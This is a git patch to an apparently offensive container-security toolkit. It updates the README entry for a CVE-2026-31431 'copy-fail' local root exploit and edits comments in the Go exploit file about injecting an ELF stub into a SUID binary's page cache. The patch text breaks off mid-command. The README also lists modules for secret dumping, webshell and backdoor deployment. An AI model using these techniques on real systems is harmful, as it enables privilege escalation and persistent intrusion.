From f0a051d7e2da34456dfa037115c0f8f0785a5d43 Mon Sep 17 00:00:00 2001 From: neargle <7868679+neargle@users.noreply.github.com> Date: Thu, 30 Apr 2026 23:27:18 +0800 Subject: [PATCH] =?UTF-8?q?fix:=20CVE-2026-31431=20copy-fail=20=20(non-roo?= =?UTF-8?q?t=E2=86=92root=20&=20x86=5F64=20only)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 2 +- .../copy_fail_cve_2026_31431.go | 31 ++++++++++++++----- 2 files changed, 25 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index e35227c..b410659 100644 --- a/README.md +++ b/README.md @@ -160,7 +160,7 @@ cdk run [options] | Credential Access | Dump K8s Secrets | k8s-secret-dump | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-secret-dump) | | Credential Access | Dump K8s Config | k8s-configmap-dump | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-configmap-dump) | | Privilege Escalation | K8s RBAC Bypass | k8s-get-sa-token | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-get-sa-token) | -| Privilege Escalation | CVE-2026-31431 copy-fail (non-root→root, **no container escape**) | copy-fail-cve-2026-31431 | ✔ | | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-copy-fail-cve-2026-31431) | +| Privilege Escalation | CVE-2026-31431 copy-fail (non-root→root & x86_64 only) | copy-fail-cve-2026-31431 | ✔ | | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-copy-fail-cve-2026-31431) | | Persistence | Deploy WebShell | webshell-deploy | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-webshell-deploy) | | Persistence | Deploy Backdoor Pod | k8s-backdoor-daemonset | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-backdoor-daemonset) | | Persistence | Deploy Shadow K8s api-server | k8s-shadow-apiserver | ✔ || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver) | diff --git a/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go b/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go index 3498156..4d713a9 100644 --- a/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go +++ b/pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go @@ -52,12 +52,10 @@ import ( "golang.org/x/sys/unix" ) -// copyFailPayloadHex is a zlib-compressed ELF64 little-endian binary stub -// (160 bytes uncompressed) to be injected into the SUID target's page cache. -// The stub starts with a valid ELF64/x86-64 header (magic 0x7fELF, class 2, -// data encoding 1) so it passes the kernel's ELF loader checks. -// Generated with: python3 -c "import zlib,struct; h=bytearray(160); h[0:4]=b'\x7fELF'; h[4]=2; h[5]=1; h[6]=1; struct.pack_into('